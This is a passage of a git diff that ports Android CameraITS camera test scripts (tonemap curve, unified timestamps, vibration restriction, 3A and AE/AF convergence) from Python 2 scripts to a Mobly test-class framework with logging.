 def check_raw_pattern(img_raw):
-    """Check for RAW capture matches color bar pattern.
+  """Checks for RAW capture matches color bar pattern.
 
-    Args:
-        img_raw: RAW image
-    """
-
-    print 'Checking RAW/PATTERN match'
-    color_match = []
-    for i in range(N_BARS):
-        print 'patch:', i,
-        raw_patch = its.image.get_image_patch(
-                img_raw, compute_xnorm(i), YNORM, WNORM, HNORM)
-        raw_means = its.image.compute_image_means(raw_patch)
-        for color in COLOR_BARS:
-            if np.allclose(COLOR_CHECKER[color], raw_means, atol=RAW_TOL):
-                color_match.append(color)
-                print '%s' % color
-    assert set(color_match) == set(COLOR_BARS), 'RAW does not have all colors'
+  Args:
+    img_raw: RAW image
+  """
+  logging.debug('Checking RAW/PATTERN match')
+  color_match = []
+  for n in range(N_BARS):
+    logging.debug('patch: %d', n)
+    x_norm = get_x_norm(n)
+    logging.debug('x_norm: %.3f', x_norm)
+    raw_patch = image_processing_utils.get_image_patch(img_raw, x_norm, Y_NORM,
+                                                       W_NORM, H_NORM)
+    raw_means = image_processing_utils.compute_image_means(raw_patch)
+    for color in COLOR_BARS:
+      if np.allclose(COLOR_CHECKER[color], raw_means, atol=RAW_TOL):
+        color_match.append(color)
+        logging.debug('%s', color)
+  assert set(color_match) == set(COLOR_BARS), 'RAW does not have all colors'
 
 
 def check_yuv_vs_raw(img_raw, img_yuv):
-    """Check for YUV vs RAW match in 8 patches.
+  """Checks for YUV vs RAW match in 8 patches.
 
-    Check for correct values and color consistency
+  Check for correct values and color consistency
 
-    Args:
-        img_raw: RAW image
-        img_yuv: YUV image
-    """
-
-    print 'Checking YUV/RAW match'
-    color_match_errs = []
-    color_variance_errs = []
-    for i in range(N_BARS):
-        xnorm = compute_xnorm(i)
-        raw_patch = its.image.get_image_patch(
-                img_raw, xnorm, YNORM, WNORM, HNORM)
-        yuv_patch = its.image.get_image_patch(
-                img_yuv, xnorm, YNORM, WNORM, HNORM)
-        raw_means = np.array(its.image.compute_image_means(raw_patch))
-        raw_vars = np.array(its.image.compute_image_variances(raw_patch))
-        yuv_means = np.array(its.image.compute_image_means(yuv_patch))
-        yuv_means /= TONEMAP_MAX  # Normalize to tonemap max
-        yuv_vars = np.array(its.image.compute_image_variances(yuv_patch))
-        if not np.allclose(raw_means, yuv_means, atol=RGB_MEAN_TOL):
-            color_match_errs.append('RAW: %s, RGB(norm): %s, ATOL: %.2f' % (
-                    str(raw_means), str(np.round(yuv_means, 3)), RGB_MEAN_TOL))
-        if not np.allclose(raw_vars, yuv_vars, atol=RGB_VAR_TOL):
-            color_variance_errs.append('RAW: %s, RGB: %s, ATOL: %.4f' % (
-                    str(raw_vars), str(yuv_vars), RGB_VAR_TOL))
-    if color_match_errs:
-        print '\nColor match errors'
-        for err in color_match_errs:
-            print err
-    if color_variance_errs:
-        print '\nColor variance errors'
-        for err in color_variance_errs:
-            print err
-    assert not color_match_errs
-    assert not color_variance_errs
+  Args:
+    img_raw: RAW image
+    img_yuv: YUV image
+  """
+  logging.debug('Checking YUV/RAW match')
+  color_match_errs = []
+  color_variance_errs = []
+  for n in range(N_BARS):
+    x_norm = get_x_norm(n)
+    logging.debug('x_norm: %.3f', x_norm)
+    raw_patch = image_processing_utils.get_image_patch(img_raw, x_norm, Y_NORM,
+                                                       W_NORM, H_NORM)
+    yuv_patch = image_processing_utils.get_image_patch(img_yuv, x_norm, Y_NORM,
+                                                       W_NORM, H_NORM)
+    raw_means = np.array(image_processing_utils.compute_image_means(raw_patch))
+    raw_vars = np.array(
+        image_processing_utils.compute_image_variances(raw_patch))
+    yuv_means = np.array(image_processing_utils.compute_image_means(yuv_patch))
+    yuv_means /= TONEMAP_MAX  # Normalize to tonemap max
+    yuv_vars = np.array(
+        image_processing_utils.compute_image_variances(yuv_patch))
+    if not np.allclose(raw_means, yuv_means, atol=RGB_MEAN_TOL):
+      color_match_errs.append(
+          'RAW: %s, RGB(norm): %s, ATOL: %.2f' %
+          (str(raw_means), str(np.round(yuv_means, 3)), RGB_MEAN_TOL))
+    if not np.allclose(raw_vars, yuv_vars, atol=RGB_VAR_TOL):
+      color_variance_errs.append('RAW: %s, RGB: %s, ATOL: %.4f' %
+                                 (str(raw_vars), str(yuv_vars), RGB_VAR_TOL))
+  if color_match_errs:
+    logging.error('Color match errors:')
+    for err in color_match_errs:
+      logging.debug(err)
+  if color_variance_errs:
+    logging.error('Color variance errors:')
+    for err in color_variance_errs:
+      logging.error(err)
+  assert not color_match_errs, 'Color match errors.'
+  assert not color_variance_errs, 'Color variance errors.'
 
 
-def test_tonemap_curve(cam, props):
-    """test tonemap curve with sensor test pattern.
+def test_tonemap_curve_impl(name, cam, props):
+  """Test tonemap curve with sensor test pattern.
 
-    Args:
-        cam: An open device session.
-        props: Properties of cam
-    """
+  Args:
+   name: Path to save the captured image.
+   cam: An open device session.
+   props: Properties of cam.
+  """
 
-    sens_min, _ = props['android.sensor.info.sensitivityRange']
-    exp = min(props['android.sensor.info.exposureTimeRange'])
+  avail_patterns = props['android.sensor.availableTestPatternModes']
+  logging.debug('Available Patterns: %s', avail_patterns)
+  sens_min, _ = props['android.sensor.info.sensitivityRange']
+  min_exposure = min(props['android.sensor.info.exposureTimeRange'])
 
+  if COLOR_BAR_PATTERN in avail_patterns:
     # RAW image
-    req_raw = its.objects.manual_capture_request(int(sens_min), exp)
+    req_raw = capture_request_utils.manual_capture_request(
+        int(sens_min), min_exposure)
     req_raw['android.sensor.testPatternMode'] = COLOR_BAR_PATTERN
     fmt_raw = {'format': 'raw'}
     cap_raw = cam.do_capture(req_raw, fmt_raw)
-    img_raw = its.image.convert_capture_to_rgb_image(
-            cap_raw, props=props)
+    img_raw = image_processing_utils.convert_capture_to_rgb_image(
+        cap_raw, props=props)
 
     # Save RAW pattern
-    its.image.write_image(img_raw, '%s_raw_%d.jpg' % (
-            NAME, COLOR_BAR_PATTERN), True)
+    image_processing_utils.write_image(
+        img_raw, '%s_raw_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
     check_raw_pattern(img_raw)
 
     # YUV image
-    req_yuv = its.objects.manual_capture_request(int(sens_min), exp)
+    req_yuv = capture_request_utils.manual_capture_request(
+        int(sens_min), min_exposure)
     req_yuv['android.sensor.testPatternMode'] = COLOR_BAR_PATTERN
     req_yuv['android.distortionCorrection.mode'] = 0
     req_yuv['android.tonemap.mode'] = 0
     req_yuv['android.tonemap.curve'] = {
-            'red': LINEAR_TONEMAP,
-            'green': LINEAR_TONEMAP,
-            'blue': LINEAR_TONEMAP}
+        'red': LINEAR_TONEMAP,
+        'green': LINEAR_TONEMAP,
+        'blue': LINEAR_TONEMAP
+    }
     fmt_yuv = {'format': 'yuv', 'width': YUV_W, 'height': YUV_H}
     cap_yuv = cam.do_capture(req_yuv, fmt_yuv)
-    img_yuv = its.image.convert_capture_to_rgb_image(cap_yuv, True)
+    img_yuv = image_processing_utils.convert_capture_to_rgb_image(cap_yuv, True)
 
     # Save YUV pattern
-    its.image.write_image(img_yuv, '%s_yuv_%d.jpg' % (
-            NAME, COLOR_BAR_PATTERN), True)
+    image_processing_utils.write_image(
+        img_yuv, '%s_yuv_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
 
     # Check pattern for correctness
     check_yuv_vs_raw(img_raw, img_yuv)
+  else:
+    logging.debug('Pattern not in android.sensor.availableTestPatternModes.')
+    assert 0
 
 
-def main():
-    """Test conversion of test pattern from RAW to YUV with linear tonemap.
+class TonemapCurveTest(its_base_test.ItsBaseTest):
+  """Test conversion of test pattern from RAW to YUV with linear tonemap.
 
-    Test requires android.sensor.testPatternMode = 2 (COLOR_BARS) to
-    generate perfect image pattern for tonemap conversion.
-    """
+  Test makes use of android.sensor.testPatternMode 2 (COLOR_BARS).
+  """
 
-    print '\nStarting %s' % NAME
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        avail_patterns = props['android.sensor.availableTestPatternModes']
-        print 'avail_patterns: ', avail_patterns
-        its.caps.skip_unless(its.caps.raw16(props) and
-                             its.caps.manual_sensor(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.manual_post_proc(props) and
-                             COLOR_BAR_PATTERN in avail_patterns)
+  def test_tonemap_curve(self):
+    logging.debug('Starting %s', NAME)
+    name = os.path.join(self.log_path, NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.manual_post_proc(props))
 
-        test_tonemap_curve(cam, props)
+      test_tonemap_curve_impl(name, cam, props)
+
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index e377feb..f7e5991 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -11,63 +11,76 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test for unified timestamp for image and motion sensor events."""
 
+import logging
 import time
 
-import its.caps
-import its.device
-import its.objects
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
 
 
-def main():
-    """Test if image and motion sensor events are in the same time domain.
-    """
+class UnifiedTimeStampTest(its_base_test.ItsBaseTest):
+  """Test if image and motion sensor events are in the same time domain.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
+  def test_unified_timestamps(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
 
-        # Only run test if the appropriate caps are claimed.
-        its.caps.skip_unless(its.caps.sensor_fusion(props) and
-                             its.caps.backward_compatible(props))
+      # Only run test if the appropriate properties are claimed.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.sensor_fusion(props) and
+          camera_properties_utils.backward_compatible(props))
 
-        # Get the timestamp of a captured image.
-        if its.caps.manual_sensor(props):
-            req, fmt = its.objects.get_fastest_manual_capture_settings(props)
-        else:
-            req, fmt = its.objects.get_fastest_auto_capture_settings(props)
-        cap = cam.do_capture(req, fmt)
-        ts_image0 = cap['metadata']['android.sensor.timestamp']
+      # Get the timestamp of a captured image.
+      if camera_properties_utils.manual_sensor(props):
+        req, fmt = capture_request_utils.get_fastest_manual_capture_settings(
+            props)
+      else:
+        req, fmt = capture_request_utils.get_fastest_auto_capture_settings(
+            props)
+      cap = cam.do_capture(req, fmt)
+      ts_image0 = cap['metadata']['android.sensor.timestamp']
 
-        # Get the timestamps of motion events.
-        print 'Reading sensor measurements'
-        sensors = cam.get_sensors()
-        cam.start_sensor_events()
-        time.sleep(2.0)
-        events = cam.get_sensor_events()
-        ts_sensor_first = {}
-        ts_sensor_last = {}
-        for sensor, existing in sensors.iteritems():
-            # Vibrator doesn't generate outputs: b/142653973
-            if existing and sensor != 'vibrator':
-                assert events[sensor], '%s sensor has no events!' % sensor
-                ts_sensor_first[sensor] = events[sensor][0]['time']
-                ts_sensor_last[sensor] = events[sensor][-1]['time']
+      # Get the timestamps of motion events.
+      logging.debug('Reading sensor measurements')
+      sensors = cam.get_sensors()
+      cam.start_sensor_events()
+      time.sleep(2.0)
+      events = cam.get_sensor_events()
+      ts_sensor_first = {}
+      ts_sensor_last = {}
+      for sensor, existing in sensors.items():
+      # Vibrator doesn't generate outputs: b/142653973
+        if existing and sensor != 'vibrator':
+          assert events[sensor], '%s sensor has no events!' % sensor
+          ts_sensor_first[sensor] = events[sensor][0]['time']
+          ts_sensor_last[sensor] = events[sensor][-1]['time']
 
-        # Get the timestamp of another image.
-        cap = cam.do_capture(req, fmt)
-        ts_image1 = cap['metadata']['android.sensor.timestamp']
+      # Get the timestamp of another image.
+      cap = cam.do_capture(req, fmt)
+      ts_image1 = cap['metadata']['android.sensor.timestamp']
 
-        print 'Image timestamps:', ts_image0, ts_image1
+      logging.debug('Image timestamps: %s , %s', ts_image0, ts_image1)
 
-        # The motion timestamps must be between the two image timestamps.
-        for sensor, existing in sensors.iteritems():
-            if existing and sensor != 'vibrator':
-                print '%s timestamps: %d %d' % (sensor, ts_sensor_first[sensor],
-                                                ts_sensor_last[sensor])
-                assert ts_image0 < ts_sensor_first[sensor] < ts_image1
-                assert ts_image0 < ts_sensor_last[sensor] < ts_image1
+      # The motion timestamps must be between the two image timestamps.
+      for sensor, existing in sensors.items():
+        if existing and sensor != 'vibrator':
+          logging.debug('%s timestamps: %d %d', sensor, ts_sensor_first[sensor],
+                        ts_sensor_last[sensor])
+          assert ts_image0 < ts_sensor_first[sensor] < ts_image1
+          assert ts_image0 < ts_sensor_last[sensor] < ts_image1
+
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_vibration_restriction.py b/apps/CameraITS/tests/scene0/test_vibration_restriction.py
index c771381..45c82e9 100644
--- a/apps/CameraITS/tests/scene0/test_vibration_restriction.py
+++ b/apps/CameraITS/tests/scene0/test_vibration_restriction.py
@@ -11,90 +11,102 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Test to see if vibrations can be muted by camera-audio-restriction API."""
 
+import logging
 import math
-import os.path
 import time
 
-import its.caps
-import its.device
-import matplotlib
-from matplotlib import pylab
+from mobly import test_runner
 import numpy as np
 
-NAME = os.path.basename(__file__).split(".")[0]
+import its_base_test
+import camera_properties_utils
+import its_session_utils
 
-# if the var(x) > var(stable) * this threshold, then device is considered vibrated
-# Test results shows the variance difference is larger for higher sampling frequency
-# This threshold is good enough for 50hz samples.
+
+# if the var(x) > var(stable) * this threshold, then device is considered
+# vibrated.Test results shows the variance difference is larger for higher
+# sampling frequency.This threshold is good enough for 50hz samples.
 THRESHOLD_VIBRATION_VAR = 10.0
 
 # Match CameraDevice.java constant
-AUDIO_RESTRICTION_NONE = 0
 AUDIO_RESTRICTION_VIBRATION = 1
-AUDIO_RESTRICTION_VIBRATION_SOUND = 2
 
-# The sleep time between vibrator on/off to avoid getting some residual vibrations
+# The sleep time between vibrator on/off to avoid getting some residual
+# vibrations
 SLEEP_BETWEEN_SAMPLES_SEC = 0.5
 # The sleep time to collect sensor samples
 SLEEP_COLLECT_SAMPLES_SEC = 1.0
+PATTERN_MS = [0, 1000]
+
 
 def calc_magnitude(e):
-    x = e["x"]
-    y = e["y"]
-    z = e["z"]
-    return math.sqrt(x*x + y*y + z*z)
+  x = e['x']
+  y = e['y']
+  z = e['z']
+  return math.sqrt(x * x + y * y + z * z)
 
-def main():
-    """Test vibrations can be muted by the camera audio restriction API."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        sensors = cam.get_sensors()
+class VibrationRestrictionTest(its_base_test.ItsBaseTest):
+  """Test vibrations can be muted by the camera audio restriction API."""
 
-        its.caps.skip_unless(sensors.get("accel") and sensors.get("vibrator"))
+  def test_vibration_restriction(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      sensors = cam.get_sensors()
 
-        cam.start_sensor_events()
-        pattern_ms = [0, 1000]
-        cam.do_vibrate(pattern_ms)
-        test_length_second = sum(pattern_ms) / 1000
-        time.sleep(test_length_second)
-        events = cam.get_sensor_events()
-        print "Accelerometer events over %ds: %d " % (test_length_second, len(events["accel"]))
-        times_ms = [e["time"]/float(1e6) for e in events["accel"]]
-        t0 = times_ms[0]
-        times_ms = [t - t0 for t in times_ms]
-        magnitudes = [calc_magnitude(e) for e in events["accel"]]
-        var_w_vibration = np.var(magnitudes)
+      camera_properties_utils.skip_unless(
+          sensors.get('accel') and sensors.get('vibrator'))
 
-        time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
-        cam.start_sensor_events()
-        time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
-        events = cam.get_sensor_events()
-        magnitudes = [calc_magnitude(e) for e in events["accel"]]
-        var_wo_vibration = np.var(magnitudes)
+      cam.start_sensor_events()
+      cam.do_vibrate(PATTERN_MS)
+      test_length_second = sum(PATTERN_MS) / 1000
+      time.sleep(test_length_second)
+      events = cam.get_sensor_events()
+      logging.debug('Accelerometer events over %ds: %d ', test_length_second,
+                    len(events['accel']))
+      times_ms = [e['time'] / float(1e6) for e in events['accel']]
+      t0 = times_ms[0]
+      times_ms = [t - t0 for t in times_ms]
+      magnitudes = [calc_magnitude(e) for e in events['accel']]
+      var_w_vibration = np.var(magnitudes)
 
-        if var_w_vibration < var_wo_vibration * THRESHOLD_VIBRATION_VAR:
-            print "Warning: unable to detect vibration, variance w/wo vibration too close:"\
-                    " %f/%f. Make sure device is on non-dampening surface" % (
-                    var_w_vibration, var_wo_vibration)
+      time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+      cam.start_sensor_events()
+      time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+      events = cam.get_sensor_events()
+      magnitudes = [calc_magnitude(e) for e in events['accel']]
+      var_wo_vibration = np.var(magnitudes)
 
-        time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
-        cam.start_sensor_events()
-        cam.set_audio_restriction(AUDIO_RESTRICTION_VIBRATION)
-        cam.do_vibrate(pattern_ms)
-        time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
-        events = cam.get_sensor_events()
-        magnitudes = [calc_magnitude(e) for e in events["accel"]]
-        var_w_vibration_restricted = np.var(magnitudes)
+      if var_w_vibration < var_wo_vibration * THRESHOLD_VIBRATION_VAR:
+        logging.debug(
+            'Warning: unable to detect vibration, variance w/wo'
+            'vibration too close: %f/%f. Make sure device is on'
+            'non-dampening surface', var_w_vibration, var_wo_vibration)
 
-        print "Accel variance with/without/restricted vibration (%f, %f, %f)" % (
-                var_w_vibration, var_wo_vibration, var_w_vibration_restricted)
+      time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+      cam.start_sensor_events()
+      cam.set_audio_restriction(AUDIO_RESTRICTION_VIBRATION)
+      cam.do_vibrate(PATTERN_MS)
+      time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+      events = cam.get_sensor_events()
+      magnitudes = [calc_magnitude(e) for e in events['accel']]
+      var_w_vibration_restricted = np.var(magnitudes)
 
-        e_msg = "Device vibrated while vibration is muted"
-        assert var_w_vibration_restricted < var_wo_vibration * THRESHOLD_VIBRATION_VAR, e_msg
+      logging.debug(
+          'Accel variance with/without/restricted vibration (%f, %f, %f)',
+          var_w_vibration, var_wo_vibration, var_w_vibration_restricted)
 
-if __name__ == "__main__":
-    main()
+      e_msg = 'Device vibrated while vibration is muted'
+      vibration_variance = var_w_vibration_restricted < (
+          var_wo_vibration * THRESHOLD_VIBRATION_VAR)
+      assert vibration_variance, e_msg
 
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
index 92753c4..4bf85ee 100644
--- a/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
+++ b/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
index 3103cd8..a9a2fbc 100644
--- a/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
+++ b/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/test_3a.py b/apps/CameraITS/tests/scene1_1/test_3a.py
index 65cac71..9db3bdc 100644
--- a/apps/CameraITS/tests/scene1_1/test_3a.py
+++ b/apps/CameraITS/tests/scene1_1/test_3a.py
@@ -11,39 +11,61 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies 3A converges with gray chart scene."""
 
-import its.caps
-import its.device
 
+import logging
+import os.path
+from mobly import test_runner
 import numpy as np
 
+import its_base_test
+import camera_properties_utils
+import its_session_utils
 
-def main():
-    """Basic test for bring-up of 3A.
+AWB_GAINS_LENGTH = 4
+AWB_XFORM_LENGTH = 9
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 
-    To pass, 3A must converge. Check that the returned 3A values are legal.
-    """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.read_3a(props))
-        mono_camera = its.caps.mono_camera(props)
+class ThreeATest(its_base_test.ItsBaseTest):
+  """Test basic camera 3A behavior.
 
-        sens, exp, gains, xform, focus = cam.do_3a(get_results=True,
-                                                   mono_camera=mono_camera)
-        print 'AE: sensitivity %d, exposure %dms' % (sens, exp/1000000)
-        print 'AWB: gains', gains, 'transform', xform
-        print 'AF: distance', focus
-        assert sens > 0
-        assert exp > 0
-        assert len(gains) == 4
-        for g in gains:
-            assert not np.isnan(g)
-        assert len(xform) == 9
-        for x in xform:
-            assert not np.isnan(x)
-        assert focus >= 0
+  To pass, 3A must converge. Check that returned 3A values are valid.
+  """
+
+  def test_3a(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Do 3A and evaluate outputs
+      s, e, awb_gains, awb_xform, focus = cam.do_3a(
+          get_results=True, mono_camera=mono_camera)
+      logging.debug('AWB: gains %s, xform %s', str(awb_gains), str(awb_xform))
+      logging.debug('AE: sensitivity %d, exposure %dns', s, e)
+      logging.debug('AF: distance %.3f', focus)
+
+      assert len(awb_gains) == AWB_GAINS_LENGTH
+      for g in awb_gains:
+        assert not np.isnan(g)
+      assert len(awb_xform) == AWB_XFORM_LENGTH
+      for x in awb_xform:
+        assert not np.isnan(x)
+      assert s > 0
+      assert e > 0
+      assert focus >= 0
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_ae_af.py b/apps/CameraITS/tests/scene1_1/test_ae_af.py
index fabc494..c383200 100644
--- a/apps/CameraITS/tests/scene1_1/test_ae_af.py
+++ b/apps/CameraITS/tests/scene1_1/test_ae_af.py
@@ -11,58 +11,95 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies AE and AF can run independently."""
 
-import its.caps
-import its.device
-import its.target
 
+import logging
+import os.path
+from mobly import test_runner
 import numpy as np
 
-GAIN_LENGTH = 4
-TRANSFORM_LENGTH = 9
-GREEN_GAIN = 1.0
-GREEN_GAIN_TOL = 0.05
-SINGLE_A = {'ae': [True, False, True], 'af': [False, True, True],
-            'full_3a': [True, True, True]}  # note no AWB solo
+import its_base_test
+import camera_properties_utils
+import error_util
+import its_session_utils
+
+AWB_GAINS_LENGTH = 4
+AWB_XFORM_LENGTH = 9
+G_CHANNEL = 2
+G_GAIN = 1.0
+G_GAIN_TOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+THREE_A_STATES = {'AE': [True, False, True],
+                  'AF': [False, True, True],
+                  'FULL_3A': [True, True, True]}  # note no AWB solo
 
 
-def main():
-    """Basic test for bring-up of 3A.
+class SingleATest(its_base_test.ItsBaseTest):
+  """Test basic camera 3A behavior with AE and AF run individually.
 
-    To pass, 3A must converge. Check that the returned 3A values are legal.
-    """
+  To pass, 3A must converge. Check that returned 3A values are valid.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.read_3a(props))
-        mono_camera = its.caps.mono_camera(props)
+  def test_ae_af(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
 
-        for k, v in sorted(SINGLE_A.items()):
-            print k
-            try:
-                s, e, gains, xform, fd = cam.do_3a(get_results=True,
-                                                   do_ae=v[0],
-                                                   do_af=v[1],
-                                                   do_awb=v[2],
-                                                   mono_camera=mono_camera)
-                print ' sensitivity', s, 'exposure', e
-                print ' gains', gains, 'transform', xform
-                print ' fd', fd
-                print ''
-            except its.error.Error:
-                print ' FAIL\n'
-            if k == 'full_3a':
-                assert s > 0
-                assert e > 0
-                assert len(gains) == 4
-                for g in gains:
-                    assert not np.isnan(g)
-                assert len(xform) == 9
-                for x in xform:
-                    assert not np.isnan(x)
-                assert fd >= 0
-                assert np.isclose(gains[2], GREEN_GAIN, GREEN_GAIN_TOL)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Do AE/AF/3A and evaluate outputs
+      for k, three_a_req in sorted(THREE_A_STATES.items()):
+        logging.debug('Trying %s', k)
+        try:
+          s, e, awb_gains, awb_xform, fd = cam.do_3a(get_results=True,
+                                                     do_ae=three_a_req[0],
+                                                     do_af=three_a_req[1],
+                                                     do_awb=three_a_req[2],
+                                                     mono_camera=mono_camera)
+
+        except error_util.CameraItsError:
+          logging.error('%s did not converge.', k)
+
+        logging.debug('AWB gains: %s, xform: %s', str(awb_gains),
+                      str(awb_xform))
+        if three_a_req[0]:  # can report None for AF only
+          assert e, 'No valid exposure time returned even though do_ae.'
+          assert s, 'No valid sensitivity returned even though do_ae.'
+          logging.debug('AE sensitivity: %d, exposure: %dns', s, e)
+        else:
+          logging.debug('AE sensitivity: None, exposure: None')
+        if three_a_req[1]:  # fd can report None for AE only
+          logging.debug('AF fd: %.3f', fd)
+        else:
+          logging.debug('AF fd: None')
+        # check AWB values
+        assert len(awb_gains) == AWB_GAINS_LENGTH
+        for g in awb_gains:
+          assert not np.isnan(g)
+        assert len(awb_xform) == AWB_XFORM_LENGTH
+        for x in awb_xform:
+          assert not np.isnan(x)
+        assert np.isclose(awb_gains[G_CHANNEL], G_GAIN, G_GAIN_TOL)
+
+        # check AE values
+        if k == 'full_3a' or k == 'ae':
+          assert s > 0
+          assert e > 0
+
+        # check AF values
+        if k == 'full_3a' or k == 'af':
+          assert fd >= 0
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py b/apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py
index a626ee4..dae3c05 100644
--- a/apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py
+++ b/apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py
@@ -11,75 +11,119 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies AE state machine when using precapture trigger."""
 
-import its.device
-import its.caps
-import its.objects
-import its.target
 
-AE_FRAMES_PER_ITERATION = 8
-AE_CONVERGE_ITERATIONS = 5
-# AE must converge within this number of auto requests under scene1
-THRESH_AE_CONVERGE = AE_FRAMES_PER_ITERATION * AE_CONVERGE_ITERATIONS
+import logging
+import os
+from mobly import test_runner
 
-def main():
-    """Test the AE state machine when using the precapture trigger.
-    """
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+import target_exposure_utils
 
-    INACTIVE = 0
-    SEARCHING = 1
-    CONVERGED = 2
-    LOCKED = 3
-    FLASHREQUIRED = 4
-    PRECAPTURE = 5
+AE_INACTIVE = 0
+AE_SEARCHING = 1
+AE_CONVERGED = 2
+AE_LOCKED = 3  # not used in this test
+AE_FLASHREQUIRED = 4  # not used in this test
+AE_PRECAPTURE = 5
+FRAMES_AE_DISABLED = 5
+FRAMES_PER_ITERATION = 8
+ITERATIONS_TO_CONVERGE = 5
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+START_AE_PRECAP_TRIG = 1
+STOP_AE_PRECAP_TRIG = 0
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props))
 
-        _,fmt = its.objects.get_fastest_manual_capture_settings(props)
+class AePrecaptureTest(its_base_test.ItsBaseTest):
+  """Test the AE state machine when using the precapture trigger.
+  """
 
-        # Capture 5 manual requests, with AE disabled, and the last request
-        # has an AE precapture trigger (which should be ignored since AE is
-        # disabled).
-        manual_reqs = []
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        manual_req = its.objects.manual_capture_request(s,e)
